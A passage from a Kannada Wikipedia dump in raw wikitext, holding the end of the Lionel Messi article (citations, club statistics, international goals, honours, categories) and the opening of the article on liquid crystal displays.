Barcelona|publisher=Konami|date=2009-06-08|accessdate=2009-06-09|archive-date=2014-03-26|archive-url=https://web.archive.org/web/20140326094627/http://uk.games.konami-europe.com/blog.do;jsessionid=E3F32E431E73A1D6AF0B71D695498692#blog-entry-116|url-status=dead}}</ref><ref>{{cite news|url=http://uk.games.konami-europe.com/news.do;jsessionid=A2FD1270B2C75DE70A52446CBF821D5A?idNews=411|title=E3 2009: PES 2010: Messi fronts exclusive E3 trailer|publisher=Konami|date=2009-06-02|accessdate=2009-06-09|archive-date=2014-03-26|archive-url=https://web.archive.org/web/20140326094702/http://uk.games.konami-europe.com/news.do;jsessionid=A2FD1270B2C75DE70A52446CBF821D5A?idNews=411|url-status=dead}}</ref><ref>{{cite news|url=http://www.pesfan.com/news/8212537/Messi-mo-cap-photos/#newsarticle|title=MOTD magazine crew meet Messi in Barcelona|publisher=PESFan (Match of the Day Magazine)|accessdate=2009-06-18|archive-date=2013-01-27|archive-url=https://web.archive.org/web/20130127192339/http://www.pesfan.com/news/8212537/Messi-mo-cap-photos/#newsarticle|url-status=dead}}</ref> ಮೆಸ್ಸಿಯನ್ನು ಜರ್ಮನ್ ಸ್ಪೋರ್ಟ್ಸ್ ವೇರ್ ಕಂಪನಿ [[ಅಡಿಡಾಸ್]] ಪ್ರಾಯೋಜಿಸುತ್ತಿದೆ ಜೊತೆಗೆ ಅವರ [[ಕಿರುತೆರೆಯ ಜಾಹಿರಾತು]]ಗಳಲ್ಲಿ ಕಾಣಿಸಿಕೊಂಡಿದ್ದಾನೆ.<ref>{{cite news|url=https://www.theguardian.com/media/video/2009/may/27/zidane-messi-adidas-ad|title=Watch Zinedine Zidane and Lionel Messi in Adidas ad|publisher=''The Guardian''|date=2009-05-27|accessdate=2009-08-16}}</ref> ಫುಟ್ಬಾಲ್ ಆಟದಲ್ಲಿ ಅವನ ಇಬ್ಬರು ಸೋದರ ಸಂಬಂಧಿಗಳಾದ [[ಮಾಕ್ಸಿ]] ಮತ್ತು [[ಎಮಾನ್ಯುಯೆಲ್ ಬಿಯನ್ಕುಚ್ಚಿ]] ಇದ್ದಾರೆ.<ref>{{cite news|url=http://ultimosegundo.ig.com.br/esportes/seu_time/flamengo/2007/08/20/maxi_afirma_que_messi_deve_vir_ao_brasil_para_ve_lo_jogar_972383.html|title=Maxi afirma que Messi deve vir ao Brasil para vê-lo jogar|publisher=Último Segundo|date=2007-08-20|accessdate=2009-11-03|language=Portuguese|archive-date=2009-02-27|archive-url=https://web.archive.org/web/20090227172313/http://ultimosegundo.ig.com.br/esportes/seu_time/flamengo/2007/08/20/maxi_afirma_que_messi_deve_vir_ao_brasil_para_ve_lo_jogar_972383.html|url-status=dead}}</ref><ref>{{cite news|url=http://www.tz-online.de/sport/fussball/tsv-1860/biancucchi-hoert-mir-mit-messi-auf-498339.html|title=Hört mir auf mit Messi!|publisher=TZ Online|date=2009-10-20|accessdate=2009-11-03|language=German|first=Claudius |last=Mayer}}</ref> == ಕ್ಲಬ್‌‌ನ ಅಂಕಿಅಂಶಗಳು == ಜನವರಿ 30, 2010ರ ತನಕ<ref>{{cite news|url=http://hemeroteca.elmundodeportivo.es/preview/2010/01/18/pagina-7/5259184/pdf.html?search=messi 101|title= 'Pichichi' y centenario|publisher=elmundodeportivo|accessdate=2010-01-17|language=Spanish}}</ref> {| class="wikitable" style="font-size:90%;text-align:center" |- ! rowspan="2"|ಕ್ಲಬ್ ! rowspan="2"|ಕ್ರೀಡಾಋತು ! colspan="3"|ಲೀಗ್‌ ಪಂದ್ಯಗಳು ! colspan="3"| ಕಪ್<ref group="nb"> [[ಕೊಪಾ ಡೆಲ್ ರೆಯ್]] ಮತ್ತು [[ಸೂಪರ್ ಕೊಪಾ ಡಿ ಎಸ್ಪನ]] ವನ್ನು ಒಳಗೊಂಡಿದೆ</ref> ! colspan="3"| [[ಯುರೋಪ್]]<ref group="nb"> [[UEFA ಸೂಪರ್ ಕಪ್]] ಮತ್ತು [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]] ಅನ್ನು ಒಳಗೊಂಡಿದೆ</ref> ! colspan="3"| [[ಕ್ಲಬ್ ವಿಶ್ವ ಕಪ್]] ! colspan="3"|ಒಟ್ಟು |- !ಆಡಿದ ಪಂದ್ಯಗಳು !ಗೋಲುಗಳು ! ನೆರವುಗಳು !ಆಡಿದ ಪಂದ್ಯಗಳು !ಗೋಲುಗಳು ! ಗೋಲಿಗೆ ನೆರವು !ಆಡಿದ ಪಂದ್ಯಗಳು !ಗೋಲುಗಳು ! ಗೋಲಿಗೆ ನೆರವು !ಆಡಿದ ಪಂದ್ಯಗಳು !ಗೋಲುಗಳು ! ಗೋಲಿಗೆ ನೆರವು !ಆಡಿದ ಪಂದ್ಯಗಳು !ಗೋಲುಗಳು !ಗೋಲಿಗೆ ನೆರವು |- | rowspan="6"|'''[[ಬಾರ್ಸಿಲೋನಾ]]''' | [[2004–05]] | 7 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | - | - | - | 9 | 1 | 0 |- | [[2005/06]] | 17 | 6 | 3 | 2 | 1 | 0 | 6 | 1 | 1 | - | - | - | 25 | 8 | 4 |- | [[2006–07]] | 26 | 14 | 2 | 4 | 2 | 1 | 6 | 1 | 0 | 0 | 0 | 0 | 36 | 17 | 3 |- | [[2007–08]] | 28 | 10 | 12 | 3 | 0 | 0 | 9 | 6 | 1 | - | - | - | 40 | 16 | 13 |- | [[2008–09]] | 31 | 23 | 11 | 8 | 6 | 2 | 12 | 9 | 5 | - | - | - | 51 | 38 | 18 |- | [[2009–10]] | 17 | 15 | 7 | 4 | 3 | 0 | 6 | 2 | 1 | 2 | 2 | 0 | 29 | 22 | 8 |- ! colspan="2"| ವೃತ್ತಿ ಜೀವನದ ಒಟ್ಟು ಸಾಧನೆ !126 !69 !35 !22 !12 !3 !40 !19 !8 !2 !2 !0 !190 !102 !46 |} === ಅಂತಾರಾಷ್ಟ್ರೀಯ ಗೋಲುಗಳು === {| class="wikitable" align="center" |- ! # ! ದಿನಾಂಕ ! ಸ್ಥಳ ! ಎದುರಾಳಿ ! ಸ್ಕೋರು ! ಫಲಿತಾಂಶ ! ಸ್ಪರ್ಧೆ |- | 1 | 1 ಮಾರ್ಚ್ 2006. | [[ಬೇಸಲ್]], [[ಸ್ವಿಟ್ಜರ್‌ಲ್ಯಾಂಡ್]] | {{fb|CRO}} | 2 – 3 | ಸೋಲು | [[ಸೌಹಾರ್ದ]] |- | 2 | 16 ಜೂನ್ 2006 | [[ಗೆಲ್ಸೇನ್ಕಿರ್ಚೆನ್]] , [[ಜರ್ಮನಿ]] | {{fb|SCG}} | 6 – 0 | ಜಯ | [[2006 ವಿಶ್ವಕಪ್]] |- | 3 | 5 ಜೂನ್ 2007 | [[ಬಾರ್ಸಿಲೋನಾ]], [[ಸ್ಪೇನ್]] | {{fb|ALG}} | 4 – 3 | ಜಯ | ಸೌಹಾರ್ದ |- | 4 | 5 ಜೂನ್ 2007 | ಬಾರ್ಸಿಲೋನಾ, ಸ್ಪೇನ್ | {{flagicon|ALG}}ಅಲ್ಜೀರಿಯ | 4 – 3 | ಜಯ | ಸೌಹಾರ್ದ |- | 5 | 8 ಜುಲೈ 2007 | [[ಬಾರ್ಕ್ವಿಸಿಮೆಟೋ]], [[ವೆನಿಜುವೆಲ]] | {{fb|PER}} | 4 – 0 | ಜಯ | [[2007 ಕೊಪಾ ಅಮೇರಿಕಾ]] |- | 6 | 11 ಜುಲೈ 2007 | [[ಪೋರ್ಟೊ ಒರ್ಡಾಸ್]], ವೆನೆಜುವೆಲ | {{fb|MEX}} | 0-3 | ಜಯ | 2007 ಕೊಪಾ ಅಮೇರಿಕಾ |- | 7 | 16 ಅಕ್ಟೋಬರ್ 2007 | [[ಮರಾಕೈಬೊ]], ವೆನೆಜುವೆಲಾ | {{fb|VEN}} | 0 – 2 | ಜಯ | [[2010 ವಿಶ್ವಕಪ್‌ಗೆ ಅರ್ಹತಾಪಂದ್ಯ]] |- | 8 | 20 ನವೆಂಬರ್‌ 2007 | [[ಬೊಗೋಟಾ]], [[ಕೊಲಂಬಿಯ]] | {{fb|COL}} | 2-1 | ಸೋಲು | 2010ರ ವಿಶ್ವಕಪ್ ಗೆ ಅರ್ಹತಾಪಂದ್ಯ |- | 9 | 4 ಜೂನ್ 2008 | [[ಸಾನ್ ಡಿಗೋ]], [[ಯುನೈಟೆಡ್ ಸ್ಟೇಟ್ಸ್]] | {{flagicon|MEX}}ಮೆಕ್ಸಿಕೊ | 1-4 | ಜಯ | ಸೌಹಾರ್ದ |- | 10 | 11 ಅಕ್ಟೋಬರ್ 2008 | [[ಬ್ಯುನಸ್ ಏರ್ಸ್]], [[ಅರ್ಜೆಂಟಿನಾ]] | {{fb|URU}} | 2-1 | ಜಯ | 2010ರ ವಿಶ್ವಕಪ್ ಗೆ ಅರ್ಹತಾಪಂದ್ಯ |- | 11 | 11 ಫೆಬ್ರವರಿ 2009 | [[ಮಾರ್ಸಿಲೆ]],[[ಫ್ರಾನ್ಸ್]] | {{fb|FRA}} | 0 – 2 | ಜಯ | ಸೌಹಾರ್ದ |- | 12 | 28 ಮಾರ್ಚ್ 2009 | ಬ್ಯುನಸ್ ಏರ್ಸ್, ಅರ್ಜಂಟೀನಾ | {{flagicon|VEN}}ವೆನೆಜುವೆಲಾ | 4 – 0 | ಜಯ | 2010ರ ವಿಶ್ವ ಕಪ್ ಗೆ ಅರ್ಹತೆ |- | 13 | 14 ನವೆಂಬರ್ 2009 | [[ಮಾಡ್ರಿಡ್]],[[ಸ್ಪೇನ್]] | {{fb|ESP}} | 1-2 | ಸೋಲು | ಸೌಹಾರ್ದ |} == ಗೌರವಗಳು == === ಬಾರ್ಸಿಲೋನಾ === * '''[[ಸ್ಪಾನಿಶ್ ಲೀಗ್(3)]]:''' [[2004–05]], [[2005–06]], [[2008–09]] * '''[[ಸ್ಪಾನಿಶ್ ಕಪ್:]]''' [[2008–09]] * '''[[ಸ್ಪಾನಿಶ್ ಸೂಪರ್ ಕಪ್]](3): ''' [[2005]], [[2006]], [[2009]] * '''[[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್]](2):''' [[2005–06]], [[2008–09]] * '''[[UEFA ಸೂಪರ್ ಕಪ್]](1):''' [[2009]] * '''[[FIFA ಕ್ಲಬ್ ವಿಶ್ವ ಕಪ್]](1):''' [[2009]] === ಅಂತಾರಾಷ್ಟ್ರೀಯ === * [[FIFA U-20 ವಿಶ್ವ ಕಪ್]]: [[2005]] * [[ಒಲಂಪಿಕ್ ಚಿನ್ನದ ಪದಕ]]:[[2008]] === ವೈಯಕ್ತಿಕ ಸಾಧನೆ === * [[FIFA U-20 ವಿಶ್ವ ಕಪ್ ಅಗ್ರ ಸ್ಕೋರರ್]]: 2005 * [[FIFA U-20 ವಿಶ್ವಕಪ್‌ನ ಕ್ರೀಡಾ ಕ್ರೀಡಾಋತುವಿನ ಶ್ರೇಷ್ಠ ಆಟಗಾರ]]: 2005 * [[ಕೊಪಾ ಅಮೇರಿಕಾ ಕ್ರೀಡಾ ಕ್ರೀಡಾಋತುವಿನ ಶ್ರೇಷ್ಠ ಕಿರಿಯ ಆಟಗಾರ]]: 2007 * [[U-21 ಯುರೋಪಿಯನ್ ವರ್ಷದ ಶ್ರೇಷ್ಠ ಫುಟ್ಬಾಲ್ ಆಟಗಾರ]]: 2007 * [[ಅರ್ಜಂಟೀನಾದ ವರ್ಷದ ಶ್ರೇಷ್ಠ ಆಟಗಾರ]]: 2005, 2007, 2009 * [[FIFPro ವಿಶೇಷ ವರ್ಷದ ಶ್ರೇಷ್ಠ ಕಿರಿಯ ಆಟಗಾರ]]: 2006–2007, 2007–2008 * [[FIFPro ವಿಶ್ವದ ವರ್ಷದ ಶ್ರೇಷ್ಠ ಕಿರಿಯ ಆಟಗಾರ]]: 2005–2006, 2006–2007, 2007–2008 * [[ವಿಶ್ವ ಸಾಕರ್ ವರ್ಷದ ಶ್ರೇಷ್ಠ ಕಿರಿಯ ಆಟಗಾರ]]: 2005–2006, 2006–2007, 2007–2008 * [[ಪ್ರೆಮಿಯೋ ಡಾನ್ ಬಲೋನ್ (ಲಾ ಲಿಗಾ ದ ಅತ್ಯುತ್ತಮ ವಿದೇಶಿ ಆಟಗಾರ)]]: 2006–2007, 2008–2009 * [[EFE ಟ್ರೋಫಿ (ಲಾ ಲಿಗಾದ ಅತ್ಯುತ್ತಮ ಇಬೆರೋ-ಅಮೆರಿಕನ್ ಆಟಗಾರ)]]: 2006–2007, 2008–2009 * [[FIFPro ವಿಶ್ವ XI]]: 2006–2007, 2007–2008, 2008–2009 * [[UEFA ವರ್ಷದ ಶ್ರೇಷ್ಠ ತಂಡ]]: 2007–2008, 2008–2009 * [[FIFA ವರ್ಷದ ಶ್ರೇಷ್ಠ ತಂಡ]]: 2008, 2009 * [[UEFA ಚಾಂಪಿಯನ್ಸ್ ಲೀಗ್‌ನ ಅಗ್ರ ಸ್ಕೋರರ್]]: 2008–2009 * [[ಟ್ರೋಫೆಒ ಅಲ್ಫ್ರೆಡೋ ಡಿ ಸ್ಟೆಫಾನೋ]]:2008–2009 * [[UEFA ಕ್ಲಬ್‌ನ ವರ್ಷದ ಮುಂಚೂಣಿಯ ಆಟಗಾರ]]: 2008–2009 * [[UEFA ಕ್ಲಬ್‌ನ ವರ್ಷದ ಶ್ರೇಷ್ಠ ಫುಟ್ಬಾಲ್ ಆಟಗಾರ]]: 2008-09 * [[LFP]] ಅತ್ಯುತ್ತಮ ಆಟಗಾರ : 2008–2009 * [[LFP]] ಅತ್ಯುತ್ತಮ ಗೋಲು ಹೊಡೆವ ಆಟಗಾರ: 2008–2009 * [[Onze d'Or]]: 2009 * [[Ballon d'Or]]: [[2009]] * [[ವಿಶ್ವ ಸಾಕರ್‌ನ ವರ್ಷದ ಶ್ರೇಷ್ಠ ಆಟಗಾರ]]: 2009 * [[FIFA ಕ್ಲಬ್ ವಿಶ್ವ ಕಪ್‌ನ ಚಿನ್ನದ ಚೆಂಡು]]: 2009 * [[ಟೊಯೋಟ ಪ್ರಶಸ್ತಿ]]: 2009 * [[FIFA ವರ್ಲ್ಡ್ ವರ್ಷದ ಶ್ರೇಷ್ಠ ಆಟಗಾರ]]: 2009 * [[FIFPro ವರ್ಷದ ವಿಶ್ವ ಶ್ರೇಷ್ಠಆಟಗಾರ]]: 2008-09 *FIFA WORLD CUP GOLDEN BALL WINNER :2014 == ಟಿಪ್ಪಣಿಗಳು == <references group="nb"></references> == ಆಕರಗಳು == {{reflist|2}} == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Commons category|Lionel Messi}} * [http://www.fcbarcelona.com/web/english/futbol/temporada_09-10/plantilla/jugadors/messi.html ಲಿಯೋನೆಲ್ ಮೆಸ್ಸಿ ಬಯೋಗ್ರಫಿ] {{Webarchive|url=https://archive.is/20120526231308/http://www.fcbarcelona.com/web/english/futbol/temporada_09-10/plantilla/jugadors/messi.html |date=2012-05-26 }} FC ಬಾರ್ಸಿಲೋನಾ ಅಂತರ್ಜಾಲದಲ್ಲಿ * [http://www.fifa.com/worldfootball/statisticsandrecords/players/player=229397/index.html ಲಿಯೋನೆಲ್ ಮೆಸ್ಸಿ ಸ್ಟಾಟಿಸ್ಸ್ಟಿಕ್ಸ್] {{Webarchive|url=https://web.archive.org/web/20150629095408/http://www.fifa.com/worldfootball/statisticsandrecords/players/player=229397/index.html |date=2015-06-29 }} FIFA.comನಲ್ಲಿ * [http://www.football-lineups.com/players/player.php?route=9 ಟ್ಯಾಕ್ಟಿಕಲ್ ಫ್ರೊಫೈಲ್]{{Dead link|date=ಆಗಸ್ಟ್ 2021 |bot=InternetArchiveBot |fix-attempted=yes }} - Football-Lineups.com [[ವರ್ಗ:೧೯೮೭ ಜನನ]] [[ವರ್ಗ:ರೋಸಾರಿಯೋದ ಜನರು]] [[ವರ್ಗ:ಅರ್ಜಂಟೀನಾದ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ಲಾ ಲಿಗಾ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:FC ಬಾರ್ಸಿಲೋನಾ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ಫುಟ್ಬಾಲ್(ಸಾಕರ್)ನ ಮುಂಚೂಣಿಯ ಆಟಗಾರರು]] [[ವರ್ಗ:2006 FIFA ವಿಶ್ವ ಕಪ್ ಆಟಗಾರರು]] [[ವರ್ಗ:2007 ಕೊಪಾ ಅಮೇರಿಕಾ ಆಟಗಾರರು]] [[ವರ್ಗ:ಅರ್ಜಂಟೀನಾದ ಅಂತಾರಾಷ್ಟ್ರೀಯ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ಅರ್ಜಂಟೀನಾ ವಲಸೆಹೋದ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:2008 ಬೇಸಿಗೆ ಒಲಂಪಿಕ್ಸ್‌ನಲ್ಲಿ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ಅರ್ಜಂಟೀನಾದ ಒಲಂಪಿಕ್ ಫುಟ್ಬಾಲ್ ಆಟಗಾರರು]] [[ವರ್ಗ:ಅರ್ಜಂಟೀನಾಕ್ಕೆ ಒಲಂಪಿಕ್‌ನಲ್ಲಿ ಚಿನ್ನದ ಪದಕ ವಿಜೇತರು]] [[ವರ್ಗ:ಇಟಾಲಿಯನ್ ಮೂಲದ ಅರ್ಜಂಟೀನಾ ಜನರು]] [[ವರ್ಗ:ಫುಟ್‌ಬಾಲ್]] 0yli2fe4un74bbwxpjk545q01k7evxv ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ ಡಿಸ್‌ಪ್ಲೆ (ಎಲ್‌ಸಿಡಿ) 0 22462 1116439 1073597 2022-08-23T12:34:38Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki [[ಚಿತ್ರ:LCD layers.svg|thumb|250px|ರಿಫ್ಲೆಕ್ಟಿವ್ ಟ್ವಿಸ್ಟೆಡ್ ನಿಮ್ಯಾಟಿಕ್ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ ಡಿಸ್‌ಪ್ಲೇ. ಒಳಬಂದಹಾಗೆಯೇ ಬೆಳಕನ್ನು ಬೀರುವುದಕ್ಕಾಗಿ ಲಂಬ ಅಕ್ಷವಿರುವ ಪೊಲಾರೈಜಿಂಗ್ ಫಿಲ್ಟರ್ ಫಿಲ್ಮ್. ಐಟಿಒ ವಿದ್ಯುದ್ವಾರವಿರುವ ಗ್ಲಾಸ್ ಸಬ್‌ಸ್ಟ್ರೇಟ್.ಈ ವಿದ್ಯುದ್ವಾರಗಳ ಆಕಾರಗಳು ಎಲ್‌ಸಿಡಿ ತಿರುಗಿಸಿದಾಗ ಕಾಣಿಕೊಳ್ಳುವ ಆಕಾರಗಳನ್ನು ನಿರ್ಧರಿಸಬಲ್ಲವು. ಮೇಲ್ಪದರದ ಮೇಲೆ ಕಾಣಿಸಿಕೊಳ್ಳುವ ಲಂಬವಾದ ಸಾಲುಗಳು ನಯವಾಗಿರುತ್ತವೆ. ಟ್ವಿಸ್ಟೆಡ್ ನಿಮ್ಯಾಟಿಕ್ ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್. ಅಡ್ಡಗೆರೆ ಸಾಲುಗಳಿರುವ ಸಾಮಾನ್ಯ ವಿದ್ಯುದ್ವಾರ ಫಿಲ್ಮ್‌ (ITO) ಇರುವ ಗ್ಲಾಸ್ ಸಬ್‌ಸ್ಟ್ರೇಟ್ ಅಡ್ಡಗೆರೆಯ ಫಿಲ್ಟರ್‌ನೊಂದಿಗೆ ಸಮನಾಗಿರುತ್ತದೆ. ಬೆಳಕನ್ನು ಬಿಡುವ/ಅಡ್ಡಪಡಿಸುವ ಅಡ್ಡವಾದ ಮಧ್ಯರೇಖೆಯೊಂದಿಗೆ ಪೊಲಾರೈಜಿಂಗ್ ಫಿಲ್ಟರ್ ಫಿಲ್ಮ್.ವೀಕ್ಷಕರಿಗೆ ಬೆಳಕನ್ನು ಮತ್ತೆ ಕಳುಹಿಸಲು ಪ್ರತಿಫಲನೆ ಮೇಲ್ಪದರ.(ಬ್ಯಾಕ್‌ಲಿಟ್ ಎಲ್‌ಸಿಡಿಯಲ್ಲಿ, ಈ ಪದರವು ಬೆಳಕಿನ ಮೂಲದೊಂದಿಗೆ ಬದಲಾಯಿಸಲ್ಪಟ್ಟಿದೆ)]] '''ಲಿಕ್ವಿಡ್ ಕ್ರಿಸ್ಟಲ್ ಡಿಸ್‌ಪ್ಲೆ''' '''(ಎಲ್‌ಸಿಡಿ)''' ಒಂದು ತೆಳ್ಳನೆಯ ಚಪ್ಪಟೆಯಾದ ಸಲಕರಣೆಯಾಗಿದ್ದು, ಇದನ್ನು ಯಾವುದೇ ಬರಹ, ಆಕೃತಿ ಮತ್ತು ಚಲಿಸುವ ಚಿತ್ರಗಳಂತಹ ವಿದ್ಯುನ್ಮಾನ ಮುಖೇನ ರೂಪಿಸಿದ ಮಾಹಿತಿಯನ್ನು ತೋರಿಸುವ ಉದ್ದೇಶಕ್ಕಾಗಿ ಬಳಸಲಾಗುತ್ತದೆ. ಇದರ ಉಪಯೋಗವು ಕಂಪ್ಯೂಟರ್ ಮಾನಿಟರ್, ದೂರದರ್ಶನ, ಸಂಗೀತ ಸಾಧನಗಳಲ್ಲಿ, ವಿಮಾನ ಚಾಲನೆಯ ಕೋಣೆಗಳಲ್ಲಿ ಆಗುವುದಲ್ಲದೇ ದಿನಬಳಕೆಯ ಇತರ ಸಾಧನಗಳಾದ ವೀಡಿಯೊ ಪ್ಲೇಯರ್, ಆಟದ ಸಾಧನಗಳು, ಗಡಿಯಾರ, ಕೈಗಡಿಯಾರ, ಕೋಷ್ಟಕ ಮತ್ತು ದೂರವಾಣಿಗಳಲ್ಲಿ ಸಹ ಬಳಕೆ ಆಗುತ್ತದೆ. ಇದರ ಮುಖ್ಯ ವೈಶಿಷ್ಟ್ಯಗಳೆಂದರೆ ಇದರ ಕಡಿಮೆ ತೂಕದ ರಚನೆ, ಒಂದೆಡೆಯಿಂದ ಇನ್ನೊಂದೆಡೆಗೆ ಸುಲಭವಾಗಿ ಒಯ್ಯಬಹುದಾದ ಚಿಕ್ಕ ಗಾತ್ರ, [[ಕ್ಯಾಥೊಡ್ ರೇ ಟ್ಯೂಬ್]](ಸಿ‌ಆರ್‌ಟಿ) ಪ್ರದರ್ಶನ ತಂತ್ರಜ್ಞಾನದ ಉತ್ಪನ್ನಗಳಲ್ಲಿ ಸಾಧ್ಯವಿರದಷ್ಟು ದೊಡ್ಡ ಗಾತ್ರದ ಪರದೆಯನ್ನು ನಿರ್ಮಿಸುವ ಸಾಧ್ಯತೆ. ಇದರ ಕಡಿಮೆ ವಿದ್ಯುತ್ ಶಕ್ತಿ ಬಳಕೆಯಿಂದಾಗಿ ಇದನ್ನು [[ಬ್ಯಾಟರಿ]] ಚಾಲಿತ [[ಇಲೆಕ್ಟ್ರಾನಿಕ್]] ವಸ್ತುಗಳಲ್ಲಿ ಬಳಸಲಾಗುತ್ತದೆ. ಇದೊಂದು [[ವಿದ್ಯುನ್ಮಾನ ಮುಖೇನ ಸರಿಹೊಂದಿಸಿದ ಬೆಳಕಿನ ಸಾಧನವಾಗಿದ್ದು]], ವಿಭಿನ್ನ ಸಂಖ್ಯೆಯ [[ಪಿಕ್ಸೆಲ್‌ಗಳಿಂದ]] ಮಾಡಲ್ಪಟ್ಟ [[ದ್ರವ ರೂಪದ ಸ್ಪಟಿಕದಿಂದ]] ತುಂಬಿದ ವಸ್ತುವಾಗಿದ್ದು, ಇದನ್ನು [[ಬೆಳಕಿನ ಮೂಲ]],[[ಹಿಂಬೆಳಕು]] ಅಥವಾ [[ಪ್ರತಿಫಲಕದ]] ಮುಂದೆ ಅಣಿಗೊಳಿಸಿದಾಗ [[ಒಂದೇ ಬಣ್ಣದ]] ಅಥವಾ ವಿವಿಧ ಬಣ್ಣದ ಪ್ರತಿಕೃತಿಗಳನ್ನು ಉತ್ಪಾದಿಸುತ್ತದೆ. ಎಲ್‌ಸಿಡಿ ತಂತ್ರಜ್ಞಾನದ ಅವಿಷ್ಕಾರಕ್ಕೆ ಮೊದಲ ದಾರಿಯಾಗಿದ್ದು 1888 ರಿಂದ ಪ್ರಾರಂಭವಾದ ದ್ರವ ರೂಪದ ಸ್ಪಟಿಕದ ಅವಿಷ್ಕಾರ.<ref> {{cite book | title = Supramolecular Chemistry | edition = 2nd | author = Jonathan W. Steed and Jerry L. Atwood | publisher = John Wiley and Sons | year = 2009 | isbn = 9780470512340 | page = 844 | url = https://books.google.com/books?id=Jt1I74g6_28C&pg=PA844&dq=liquid-crystal+1888&lr=&as_drrb_is=q&as_minm_is=0&as_miny_is=&as_maxm_is=0&as_maxy_is=&as_brr=0&ei=AE-XSqiEPJCqkATJrKx_#v=onepage&q=liquid-crystal%201888&f=false }}</ref> 2008ನೆ ಇಸವಿಯ ಹೊತ್ತಿಗೆ ಎಲ್‌ಸಿಡಿ ಪರದೆ ಹೊಂದಿದ ದೂರದರ್ಶನಗಳ ಮಾರಾಟವು ಸಿ‌ಆರ್‌ಟಿ ಘಟಕಗಳ ಮಾರಾಟವನ್ನು ಮೀರಿಸಿದವು. == ಸ್ಥೂಲ ಅವಲೋಕನ == [[ಚಿತ್ರ:MA-2.JPG|right|thumb|250px|ಎಲ್‌ಸಿಡಿ ಅಲಾರಾಂ ಗಡಿಯಾರ]] ಒಂದು ಎಲ್‌ಸಿಡಿ ಯ ಪ್ರತಿ [[ಚಿತ್ರಬಿಂಬವು (ಪಿಕ್ಸೆಲ್)]] [[ಅಣುಗಳ]] ಒಂದು ಪದರವನ್ನು ಹೊಂದಿದ್ದು, ಅವು 2 [[ಪಾರದರ್ಶಕ]] [[ವಿದ್ಯುದ್ವಾರ]] [[ಮತ್ತು ಕಿರಣ ತರಂಗವನ್ನು ನಿರ್ದಿಷ್ಟ ಮಾದರಿಯಲ್ಲಿ ಕಂಪಿಸುವಂತೆ ಮಾಡುವ]] 2 [[ಶೋಧಕಗಳ]] ಮಧ್ಯೆ ಅಣಿಗೊಳಿಸಲ್ಪಟ್ಟಿದ್ದು, ಇವುಗಳ ಪ್ರಸರಣದ ಅಕ್ಷವು (ಬಹಳ ಸಂದರ್ಭಗಳಲ್ಲಿ) ಒಂದಕ್ಕೊಂದು ಲಂಬಕೊನದಲ್ಲಿರುತ್ತದೆ. ಎರಡು ಸಮಾನಾಂತರ ಕಿರಣ ತರಂಗಗಳನ್ನು ಕಂಪಿಸುವ ಶೋಧಕಗಳ ನಡುವೆ ನಿಜವಾಗಿ [[ದ್ರವ ಸ್ಪಟಿಕವು]] ಇಲ್ಲದೆ ಹೋದರೆ ಮೊದಲನೇ ಶೋಧಕದ ಮೂಲಕ ಹಾಯ್ದು ಹೋಗುವ [[ಬೆಳಕನ್ನು]] ಎರಡನೆಯ ಶೋಧಕ ತಡೆಯುತ್ತದೆ. ವಿದ್ಯುದ್ವಾರಗಳ ಮೇಲ್ಮೈ ದ್ರವ ಸ್ಪಟಿಕದ ಸಂಪರ್ಕದಲ್ಲಿದ್ದು ದ್ರವ ಸ್ಪಟಿಕದ ಅಣುತಂಡವು ಒಂದು ನಿರ್ದಿಷ್ಟ ದಿಕ್ಕಿನಲ್ಲಿ ಜೋಡಿಸಲ್ಪಟ್ಟಿರುತ್ತದೆ. ಈ ವಿಧಾನವು ಪ್ರಾತಿನಿಧಿಕವಾಗಿ ಒಂದು ತೆಳುವಾದ ಪಾಲಿಮರ್ ಪದರವನ್ನು ಹೊಂದಿದ್ದು ಅದು ಏಕಮುಖ ಉಜ್ಜುವಿಕೆಗೆ ಉಪಯೋಗವಾಗುತ್ತದೆ. ಉದಾಹರಣೆಗೆ ಒಂದು ಬಟ್ಟೆ. ದ್ರವ ಸ್ಪಟಿಕದ ಜೋಡಣೆಯ ದಿಕ್ಕಿನ ನಿರ್ಧಾರವಾಗುವುದು ಉಜ್ಜುವಿಕೆಯ ದಿಕ್ಕಿನ ಆಧಾರದ ಮೇಲೆ. ವಿದ್ಯುದ್ವಾರಗಳು [[ಇಂಡಿಯಂ ಟಿನ್ ಅಕ್ಸೈಡ್]](ಐಟಿಒ) ಎಂಬ ಪಾರದರ್ಶಕ ವಾಹಕದಿಂದ ಮಾಡಲ್ಪಟ್ಟಿವೆ. [[ವಿದ್ಯುತ್ ಕ್ಷೇತ್ರದ]] ಸಂಪರ್ಕಕ್ಕೆ ಬರುವ ಮೊದಲು ದ್ರವರೂಪದ ಸ್ಪಟಿಕದ ಅಣುತಂಡದ ಜೋಡಣೆಯ ದಿಕ್ಕು ವಿದ್ಯುದ್ವಾರಗಳ ಮೇಲ್ಮೈ ಜೋಡಣೆಗೆ ಅನುಗುಣವಾಗಿ ನಿರ್ಧಾರಿತವಾಗುತ್ತದೆ. ತಿರುಚಿದ ನೆಮಟಿಕ್ ಸಾಧನದಲ್ಲಿ (ಬಹು ಸಾಮಾನ್ಯ ದ್ರವ ರೂಪದ ಸ್ಪಟಿಕ ಸಾಧನ) 2 ವಿದ್ಯುದ್ವಾರಗಳ ಮೇಲ್ಮೈ ಜೋಡಣೆಯ ದಿಕ್ಕು ಒಂದಕ್ಕೊಂದು ಲಂಬವಾಗಿರುತ್ತದೆ. ಆದ್ದರಿಂದ ಅಣುತಂಡಗಳು ತಮ್ಮಷ್ಟಕ್ಕೆ ತಾವೇ 